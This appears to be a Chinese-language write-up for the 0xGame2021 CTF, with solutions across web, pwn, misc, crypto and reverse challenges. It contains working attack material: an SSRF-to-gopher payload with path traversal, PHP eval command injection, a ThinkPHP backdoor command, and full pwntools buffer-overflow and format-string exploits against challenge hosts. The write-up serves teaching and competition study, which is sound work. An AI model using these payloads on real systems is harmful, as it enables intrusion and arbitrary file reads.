0xGame2021 WriteUp 3

Web

SSRF Me

进入题目，可以直接看到源码，看到存在curl，那么这里大概率存在一个ssrf的漏洞，然后看到ban了一些关键词，先用http测试一下，去curl百度发现会有回显，那么就确定这是可以利用的ssrf的漏洞，反正有个`read.php`先访问一下发现返回`Allow local only`，只允许本地访问那么我们可以用那个ssrf漏洞，去访问这个页面，这里127.0.0.1被过滤了，但是还有其他的方式可以代替本地。

```
?url=http://0.0.0.0/read.php
```

就可以发现源码

```
 <?php
if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
    die('Allow local only');
}
if('GET' === $_SERVER['REQUEST_METHOD']){
  highlight_file(__FILE__);
  die('Invalid request mode');
}

$filename=$_POST['name'];
if(preg_match('/..\//',$filename)){
    die('nonono');
}
```

```
echo file_get_contents(urldecode($filename));
```

发现这里有个file_get_contents可以任意文件读取所以我们通过这里取读取flag，但是这里是需要post请求，我们怎么通过curl去发起一个post请求呢，这个时候我们去了解到gopher协议，他可以去发送post请求，那么就只需要我们去构造数据流就可以了。

```
POST /read.php HTTP/1.1
Host: 0.0.0.0
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

name=%252ffla%2567
```

我们发送的原始数据包是这样的，这里因为存在urldecode所以我们可以通过双重url编码去绕过对flag的过滤

那么我们对上面的数据包进行一次url编码把其中的%0a替换为%0d%0a然后再编码一次，就可以打通了

```
POST%2520/read.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Type%253Aapplication/x-www-form-urlencoded%250D%250AContent-Length%253A%252073%250D%250A%250D%250Aname%253D%2525252e%2525252e%2525252f%2525252e%2525252e%2525252f%2525252e%2525252e%2525252f%2525252e%2525252e%2525252ffla%25252567
```

no_way_to_go

```
爷累了，爷就是不想写前端
嗯？？？我代码中怎么有 eval('echo '.'Welcome '.$str.';')
算了不管了，试着POST一个 N1k0la 吧
```

按照题目提示，POST 传参 N1k0la ，以及关键代码得知

要先用`;`闭合 echo，然后就可以命令执行了

经过 fuzz，发现禁用了很多函数，那就需要点其他方法

`N1k0la=;var_dump(scandir(getcwd()))`

可以看到有个`fl11111444444g.php`，

将名称转化为 ascii 码，然后利用show_source来读取

`chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(103).chr(46).chr(112).chr(104).chr(112)`

BackDoor

https://www.jb51.net/article/57928.htm

根据thinkphp路由的规则可以轻易的来调用预留的后门，然后去找一下真的flag，

index.php/Index/backdoor?command=find / -name fl*

就可以找到`/tmp/sess_08j0e9v6uj9d1ed9dcrp4nltt2/fllaaagggg`

Pwn

leak_me

不管是puts还是printf输出

都是遇到\x00就截止

而栈上存有着大量的数据 包括pie地址 libc地址 栈地址等等

而输出的时候没有memset去清空的话

就可以导致填充的字符串和栈上的数据连起来一并被输出 从而造成泄露

（注意canary的最低位必定是\x00，所以要多覆盖一位）

```
from pwn import*
r=process('./main')
context.log_level='debug'

libc=ELF("./libc-2.23.so")

r.recvline()
r.recvline()

r.send("a"*0x39)
r.recv(0x38)
canary=u64(r.recv(8))-0x61
success("canary: "+hex(canary))
r.recvline()

r.send("a"*0x48)
libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym["__libc_start_main"]-240
success("libc_base: "+hex(libc_base))
r.recvline()

one_gadget=libc_base+0x45226
r.recvline()
r.send("a"*0x38+p64(canary)+p64(0)+p64(one_gadget))
r.recvline()

r.recvline()
r.send("exit\x00")
r.recvline()

r.interactive()
```

canary_eats_pie

开头有个格式化字符串漏洞

格式化字符串漏洞可以用来写入也可以用来读取

所以再通过泄露在栈上的canary地址以及libc地址之后

用one_gadget一把梭

```
from pwn import*
```

```
r=remote('121.4.15.155',10010)
#r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.23.so')

r.recvline()
r.send('%13$p\n%15$p\n')

canary=int(r.recvline(),16)
libc_base=int(r.recvline(),16)-libc.sym['__libc_start_main']-0xf0

one_gadget=libc_base+0x45226

r.recvline()
r.send('\x00'*0x38+p64(canary)+p64(0)+p64(one_gadget))

r.interactive()
```

Misc

EasyPython

8进制转字符串，2020纵横杯签到题

Pork Factory

猪圈密码→得到密码MEAT→Cloacked-pixel脚本解得图片的地址，访问获取图片，倾斜的二维码一张。各凭本事改变图片形状。官方wp是使用imagemagick→Transform→Shear(X degress:45 Y degrses:45)操作2次。扫描得到培根，解得flag。

EasyDisk

根据题目描述配置FTK Imager环境，配有一张明显需要改宽高的图片，改宽高后得到KEY，装载加密的磁盘，得到另一张图片，双图考虑盲水印。Blind-Wtaermark伺候，得到的结果有点难以使用肉眼辨认，但经过仔细观察以及图片提示的相关信息，还是能够得到flag的。

周深的声音

先用`deepsound`提取出`flag.txt`，再将其中的`base64`编码转图片，之后再用`outguess`破解图片中隐写的信息数据，使用命令：`outguess -r XXX.jpg -t flag.txt`即可。

Crypto

CryptoSignin3

题目是给出了RSA加密中的e, n, c，让你求出5m的加密结果（默认c是m的加密结果）。

这道题主要考察RSA的乘法同态性，由于$m^e \equiv c \pmod n$，因此我们有

$$(5m)^e \equiv 5^e m^e \equiv 5^e c \pmod n$$

因此，我们只需要计算$5^e c \mod n$的值即可。然后转一下`str`类型，取最后25位即可。

```
n=24227115089000097234701027272781848982285793517296291754959047605165361147718l
91787728439406226934809422959870324429408676708588585306068877435578173801213616
26756206355705110299827107648704348792184242506797212331641569408152865458082131
81178789338457356577130468637339798777923669259258200939383632443817388035045595
80499875068073519709120492463537466352671597411157615480521269384916734796063933
96100458729618059852813438444299361468512008386975558106274324688665963516424534
36616301182163319714072956051383898124175242234896831241091109752331118330581201
32207242155849015505925701680967615765326218403206234632087024018291898622903030
98674021012353400081288819532365151476738751064469957971192132666136590103567843
66259158534548367118589276075148172234240302506837437171617698188887692711933160
26946990493228602859913750023261274017692876589526825852758912967607328156808986
53162425658904911584903825163141576325803464119867837508173795728753701563149748
50846416263577778778826624010565408991964272817107615528484227351779706972513032
87429928308940755520223727170193660815166807 37
e=10007
c=12859018432788762348556073109796232005489899816286466730035231135806516266865 2
35667993951539222588132227449270182058824364145895167954153939903217859937771902
84046937462277341231780571523062023964463963139910673601962881978696384360480028
13277437396289304269786628430340789827468333728454852932455039221221225994569916
72543410622080314683558145209071215760091403992808986939247060679216149617988865
87174234822238887374399666546113213239071736098162263227821798099750616137755055
43539798678879282411752950825501439234435733701000348908020944253063089311991753
65182434747973516946635337280527135700440846632683500047385612343308902838954307
42958255842196396542672482459665354739161276178850775803757753274712331067038077
23307238105144743601442308882219007398222837769957882186387104250113943413105304
42406185054234562488728255975213935649572610416060044547069879789446441297280055
40587982321571481413548381251589071459468890948819121023006292105804319208332473
49982395988252498532412081176884363929492450046778166607336671319875196091350872
05306564110979819331566058311809262197785l4434
print(str(pow(5,e,n)*c%n)[-25:])
```

输出结果为：`8489769636593649908538102`，因此flag为`0xGame{8489769636593649908538102}`

RSA的同态性是一个很重要的知识点，在可以获得解密服务的服务器上，可以利用RSA的同态性，发送$2^ec,3^ec,...$等结果，获取解密服务，进而获取明文的一些性质，比如$2m$的情况、$3m$的情况等等（**出题人在这里似乎在疯狂暗示这什么**）。

Wilson

```
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import next_prime
# length of flag is 37
p = getPrime(512)
q = next_prime(p)
f = open('flag.txt', 'rb')
flag = bytes_to_long(f.read())
f.close()
n = p * q
noise = 1
for i in range(1, p):
    noise = (noise * i) % q
e = 65537
m = noise * flag % n
c = pow(m, e, n)
print(n)
print(c)
```

```
#
n=1001895991390455206924035144634381919194111594063365332646284664891365671068500
5396121115650340264676763758230839932688124226693921388441592946484563261408257
2953261137505406070253764077806987137037034310296845793371123661392496824861923
474884525612617707544570336505659782455487338427377348917874318463239257
#
c=5216233312457668695715337376994240317982296536791349423362298014682541811879744
5630968150884296792193181121863149103395864786568453259110222784314675525339496
7605252976316782625006614762049487906544394647144094992091713765960162011824190
29308570372822332848217278055720486674459768995713889509753949399299473
```

这题主要是考察数论四大基本定理的威尔逊定理，其形式如下

$$(p-1)! \equiv -1 \pmod{p}$$

这题的n很容易分解，看了一下同学们的解，好像都是用查库的方法分解的，当然这很合理，因为这题的p、q相差不大，很容易用费马分解法分出来，所以库里有很正常，当然我自己解不是这样做的。

主要的东西在后面，这题虽然知道p、q，但是noise从1到p-1，并且p有512bit，所以这个循环一般不会去跑（我出题都不是这样出数据的）。由于flag长度是37，所以flag有37*4=148bits，比q的比特数小。我们先求出d，恢复noise*flag。然后我们对其做如下处理

$$
\begin{gathered}
c^d \equiv noise * flag \pmod{n} \\
c^d = noise * flag + k * n = noise * flag + k * p * q \\
c^d \equiv noise * flag \pmod{q} \\
p * \cdots * (q-1) c^d \equiv p * \cdots * (q-1) * noise * flag \pmod{q} \\
p * \cdots * (q-1) c^d \equiv (q-1)! * flag \equiv -flag \pmod{q} \\
-p * \cdots * (q-1) c^d \equiv flag \pmod{q}
\end{gathered}
$$

于是我们在模q的情况下就恢复了flag。完整脚本如下：

```python
from Crypto.Util.number import *
from gmpy2 import iroot, next_prime
n=1001895991390455206924035144634381919194111594063365332646284664891365671068500
5396121115650340264676763758230839932688124226693921388441592946484563261408257
2953261137505406070253764077806987137037034310296845793371123661392496824861923
474884525612617707544570336505659782455487338427377348917874318463239257
c=5216233312457668695715337376994240317982296536791349423362298014682541811879744
5630968150884296792193181121863149103395864786568453259110222784314675525339496
7605252976316782625006614762049487906544394647144094992091713765960162011824190
29308570372822332848217278055720486674459768995713889509753949399299473
q = next_prime(iroot(n, 2)[0])
p = n // q
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
mq = -m % q
for i in range(p, q):
    mq = (mq * i) % q
print(long_to_bytes(mq))
```

在之前我们提到，这题的数据并不是这样生成的，对于这样一个noise，我们仍然使用威尔逊定理。

$$noise \equiv (p-1)! \pmod q$$
$$noise * p * \cdots * (q-1) \equiv (q-1)! \equiv -1 \pmod q$$
$$noise \equiv -(p * \cdots * (q-1))^{-1} \pmod q$$

所以noise只需要计算p到q-1对q的逆再乘-1即可。以下是数据生成脚本。

```python
from Crypto.Util.number import getPrime, bytes_to_long, inverse
from gmpy2 import next_prime
# length of flag is 37
p = getPrime(512)
q = next_prime(p)
f = open('flag.txt', 'rb')
flag = bytes_to_long(f.read())
f.close()
n = p * q
noise = -1
#for i in range(1, p):
#    noise = (noise * i) % q
for i in range(p, q):
    noise = (noise * i) % q
noise = inverse(noise, q)
e = 65537
m = noise * flag % n
c = pow(m, e, n)
print(n)
print(c)
```

Fermat with Binomial

这题是一个改编题，有的同学搜一下就能找到做法了，其实自己做还是比较难想的。这题需要用到费马小定理和高中学的二项式定理。

```python
from Crypto.Util.number import *

f = open('flag.txt', 'rb')
m = bytes_to_long(f.read())
f.close()
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
hint1 = pow(2021 * p + q, 20212021, n)
hint2 = pow(1010 * p + 1011, q, n)
f = open('message.txt', 'w')
f.write(f'n={n}\n')
f.write(f'c={c}\n')
f.write(f'hint1={hint1}\n')
f.write(f'hint2={hint2}\n')
f.close()
```

我们有如下等式

$$h1 \equiv (2021p+q)^{20212021} \pmod n$$
$$h2 \equiv (1010p+1011)^{q} \pmod n$$

先对第一个式子处理，由二项式定理我们可以知道，对于这个式子展开后，除了第一项和最后一项，其余都是有p*q的，所以在模n下，这些中间项都可以消去。于是，第一个式子可以写成如下形式：

$$h1 \equiv (2021p)^{20212021} + q^{20212021} \pmod{n}$$

对于第二个式子，看到其指数有q，想到费马小定理，先把第二个式子写成等式，然后对其模q，再使用费马小定理

$$\begin{gathered} h2 = (1010p+1011)^q + kn = (1010p+1011)^q + kp*q \\ h2 \equiv (1010p+1011)^q \pmod{q} \\ h2 \equiv 1010p+1011 \pmod{q} \end{gathered}$$

于是，我们把hint2写成如下形式

$$h2 - 1011 = 1010p + kq$$

对其模n，同时取其20212021次方，同样的由费马小定理，可以去掉中间项

$$(h2-1011)^{20212021} \equiv (1010p)^{20212021} + (kq)^{20212021} \pmod{n}$$

把整理好的两个式子写在一起

$$\begin{gathered} h1 \equiv (2021p)^{20212021} + q^{20212021} \pmod{n} \\ (h2-1011)^{20212021} \equiv (1010p)^{20212021} + (kq)^{20212021} \pmod{n} \end{gathered}$$

这相当于一组二元方程组，可以看到q的系数并不全知道，所以我们对p前的系数进行统一。第一个式子乘$1010^{20212021}$，第二个式子乘$2021^{20212021}$，就得到以下式子

$$\begin{gathered} (1010)^{20212021} * h1 \equiv (1010*2021p)^{20212021} + (1010q)^{20212021} \pmod{n} \\ (2021*(h2-1011))^{20212021} \equiv (1010*2021p)^{20212021} + (2021*kq)^{20212021} \pmod{n} \end{gathered}$$

上下相减，可以消去p项，留下q项，得到以下式子

$$(1010)^{20212021} * h1 - (2021*(h2-1011))^{20212021} \equiv ((1010-2021*k)*q)^{20212021}$$

这个式子显然是q的倍数，于是我们把计算结果和n求最大公约数，就可以分解n，从而得到flag。

```
from Crypto.Util.number import *
n=16785815493192323072561202520621502124354484873141439416485516896177209180170954358917536655296832389378159385508553582292316986439935870611836481627326624997826278718936899131627405269577001541561786652522795230359038066756500166621870294967504124007392361309677236631475857268249665705586160191841238378747704555589725214417560311950480552359244858338836565084199965357719917862865124721829629583801017461751844801305560796234037169537157236798038347132037065583033136175781724971303334634074643113231202854595470566133689932557205673653855603056520355846208058018605770349841277407297822002222655287986001654291931
hint1=91000420845825591201590312228773859181316276749654288347320924836102224851855008526901698891585241990716052876908450873051889942257843097803463176288282237094057856925672109430432332105031829161352185017037709621206907942125307242514910052587492746219269839417793571441116371540166004116667791330734943893672030378391134927168524689534309623405047276732053759320083802319673569878309391849419355598247519974355552293087322960503453538848922697920989157103855388230807184433044666816760331223407213608714842647079314850357001197646635281372400483035593768841201559435650647464047630042401150532881633241521574736179900
hint2=97158353179337700283526569601946125112323325085780164762346539797587387244830362481584928596995347740690552586918312211835540389388388614279688393159367966450210311464344037673220498134392721413189247463727923592029618668055639168067454332888222921425871185562127477438436665176776752298777033004901914243428197404699165717024600526628523764594323418893343002603698255855727701126759537983905561580973505761770672894494498732430106867169605725517338594850031378228913605334882074690034526415412622286559056559336697560584646996295204493429021231669971356563589680948210775631456583940175341144878473974691499380355010
c=12824901853900928176431805967670922082099408423359348740734692908225214283313020989235896494342846615758839954388241321859784138067628962023114456647732896918446926075150525242914486413449921088854955092881525457824965211111708060188052025883249556408765110000416480911959539207515903372662706942051175602406993472605337450011214198253823995374918086046571064526610180657696977528863091044723572782646772325280660263920280922710139393502451340521170658459979145980603061780857907568888355186816350804498385690058379721372491179071169195852152316654113738209736216721551163445193680416946172818040555458013285013076026
e=65537
q = GCD(n,pow(hint2-1011,20212021,n)*pow(2021,20212021,n)-
hint1*pow(1010,20212021,n))
p = n//q
phi=(p-1)*(q-1)
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
```

Predict 1

一个求LCG参数的题目。

根据题目的方法，我们有19次机会可以获得里面的state，然后再进行预测。但实际上，一般获取8组数据，就可以获取a, b, p的值（此处保证了a, p是素数）。当然为了保险，15组数据也是足够的。

首先，我们假设我们获取的数字为$x_1, x_2, \ldots, x_8$。那么我们可以有：

$$x_i \equiv ax_{i-1} + b \pmod p$$

那么化简一下，就是：

$$x_2 \equiv ax_1 + b \pmod p \tag{1}$$

$$x_3 \equiv ax_2 + b \pmod p \tag{2}$$

$$x_4 \equiv ax_3 + b \pmod p \tag{3}$$

然后，由$(2)-(1),(3)-(2)$，消去b，可以得到：

$$x_3 - x_2 \equiv a(x_2 - x_1) \pmod p \tag{S1}$$

$$x_4 - x_3 \equiv a(x_3 - x_2) \pmod p \tag{S2}$$

由于在$\mod p$的条件下，除号表示乘上某个数的逆元，因此，我们把a提出来，就是

$$a \equiv \frac{x_3 - x_2}{x_2 - x_1} \equiv \frac{x_4 - x_3}{x_3 - x_2} \pmod p \tag{T}$$

(T)中消去a，去分母，得：

$$(x_3 - x_2)^2 \equiv (x_4 - x_3)(x_2 - x_1) \pmod p \tag{R1'}$$

去掉同余号也就是

$$(x_3 - x_2)^2 - (x_4 - x_3)(x_2 - x_1) = D_1 p \tag{R1}$$

然后，由此可知：

$$(x_4 - x_3)^2 - (x_5 - x_4)(x_3 - x_2) = D_2 p \tag{R2}$$

因此，我们可以得到多个数据$(R1)(R2)(R3)(R4)(R5)$，然后计算所有结果得最大公因数就可以得到p。(一般7个值求出来的准确度就比较高了)

p得到之后，我们根据消去b的式子，就可以计算出$a \equiv \dfrac{x_3 - x_2}{x_2 - x_1} \pmod p$了。求出$a$以后，就可以根据$x_1, x_2$很快地求出$b$。

在整个做题的过程中，可能有人查看了百度的方法，结果到最后预测错了。原因很简单：因为这边只是有$\gcd(D_1 p, D_2 p)$，虽然p是一定的，但$\gcd(D_1, D_2)$的值却不为1。有两种办法解决：一是多选取几组数据，求公约数更保险，二是我测了一下，$\gcd(D_1, D_2)$的值实际上并不大（很大概率小于1000），因此可以写个2到999的循环，将$\gcd(D_1 p, D_2 p)$里面多余的因数除掉即可。

```python
from Crypto.Util.number import *
from pwn import *
sh=remote("47.101.38.213",60709)
u,detla=[],[]
for i in range(16):
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b">")
    sh.sendline(b"1")
    numb=sh.recvline(keepends=False)
    numb=numb.split(b"is")[1]
    u.append(int(numb))
for i in range(12):
    detla.append(abs((u[i+2]-u[i+1])*(u[i+2]-u[i+1])-(u[i+3]-u[i+2])*(u[i+1]-u[i])))
p=detla[0]
for i in detla:
    p=GCD(p,i)
print(p)
assert isPrime(p)
a=(u[3]-u[2])*inverse(u[2]-u[1],p)%p
b=(u[1]-a*u[0])%p
```

```
print(a,b,p)
x=u[-1]
for i in range(205):
    if i%15==0:
        print(i)
    x=(a*x+b)%p
    sh.recvuntil(b">")
    sh.sendline(b"1")
    sh.recvuntil(b">")
    sh.sendline(str(x).encode())
sh.recvuntil(b"0xGame{")
flag=sh.recvline(keepends=False)
print("0xGame{"+flag.decode())
sh.close()
```

`0xGame{86767788-6000-7608-6777-5454a581d836}`

Reverse

Mirror

先脱壳upx

本质为一个解方程

可能就只是反编译出来的代码比较难看，建议直接看汇编代码，更容易理解运行过程

方程使用z3解一下就是

然后就是一些简单的异或运算了 很简单

z3计算方程脚本

```
from z3 import *
import libnum
p = [Int('x%d'%i) for i in range(0,32)]
num = [Int('u%d'%i) for i in range(0,8)]

n1 = Int('n1')
n2 = Int('n2')
s = Solver()
s.add(n1 >= -0xffffffffffffffff)
s.add(n1 <= 0xffffffffffffffff)

s.add(n1 >= -0xffffffffffffffff)
s.add(n1 <= 0xffffffffffffffff)

s.add((1969444366 * 1969444366) + 1820452491 == 310 * (310 * 310 + n1) + n2)
s.add((2963569549 * 2963569549) + 1719772226 == 704 * (704 * 704 + n1) + n2)

print(s.check())
res = s.model()
print(res[n1])
print(res[n2])
```

Installer

pyc反编译，`uncompyle6`使用一下

`uncompyle6 -o test.py test.pyc`

剩下简单异或运算，脚本很简单就不放了

Maze

简单的走地图游戏，起点坐标为`2 , 4`

终点坐标为`5， 4`

路径只有一条，直接走

需要先输入起点坐标

然后输入`w a s d` 上下左右行走

最后判断达到结尾`E`

`flag` 结果为 结果坐标 + 路径

```
************************
**********..........****
****S......********.****
*******************.****
*******************.****
****E***********....****
****.****........*******
****.****.**************
****.****.**************
****.****........*******
****.***********.*******
****.***********.*******
****.***********...*****
****.*************.*****
****...............*****
************************
```